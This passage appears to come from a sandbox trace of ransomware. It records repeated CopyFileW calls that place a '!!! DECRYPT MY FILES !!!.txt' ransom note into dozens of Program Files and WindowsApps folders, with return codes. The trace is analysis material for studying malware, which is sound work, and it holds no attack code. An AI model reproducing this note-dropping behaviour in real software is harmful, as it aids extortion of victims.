files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0226.029] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\Logs\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\logs\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0226.107] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\UNP\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\unp\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0226.178] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Defender\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows defender\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0226.276] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Defender\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows defender\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0226.343] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Defender\\Offline\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows defender\\offline\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0226.349] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows defender advanced threat protection\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0226.351] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Defender Advanced Threat Protection\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows defender advanced threat protection\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0226.363] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Mail\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows mail\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0226.366] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Mail\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows mail\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0226.374] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Media Player\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows media player\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0226.379] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows media player\\media renderer\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0226.383] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows media player\\network sharing\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0228.443] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Media Player\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows media player\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0228.447] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Skins\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows media player\\skins\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0228.504] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Multimedia Platform\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows multimedia platform\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0228.508] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0228.510] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows NT\\Accessories\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows nt\\accessories\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0228.518] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0228.521] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows photo viewer\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0228.523] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows photo viewer\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0228.526] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Portable Devices\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows portable devices\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0228.533] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Security\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows security\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0235.141] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Security\\BrowserCore\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows security\\browsercore\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0235.146] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Security\\BrowserCore\\en-US\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows security\\browsercore\\en-us\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0235.149] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windows sidebar\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0235.530] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0235.540] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0235.656] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\app\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0235.659] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0237.735] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\Periscope\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\periscope\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0237.760] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0237.764] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0237.766] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0237.768] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0237.769] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0237.772] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0237.775] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0237.778] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\contrast\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0239.909] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\Contrast-black\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\contrast\\contrast-black\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0239.911] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Contrast\\contrast-white\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\contrast\\contrast-white\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0239.913] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0239.915] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0239.918] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0239.921] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\HeroHelp\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\herohelp\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0239.925] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0239.930] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0239.932] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0239.935] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Office\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\office\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0239.938] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Resources\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\resources\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0239.941] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0241.757] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0241.761] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\NavColumn_Black\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\navcolumn_black\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0241.763] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\common\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0241.768] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0241.771] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0241.772] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\Microsoft.Advertising\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x64__8wekyb3d8bbwe\\microsoft.advertising\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0241.775] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 [0241.777] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\WindowsApps\\Microsoft.Advertising.Xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.advertising.xaml_10.0.1605.0_x86__8wekyb3d8bbwe\\appxmetadata\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 0 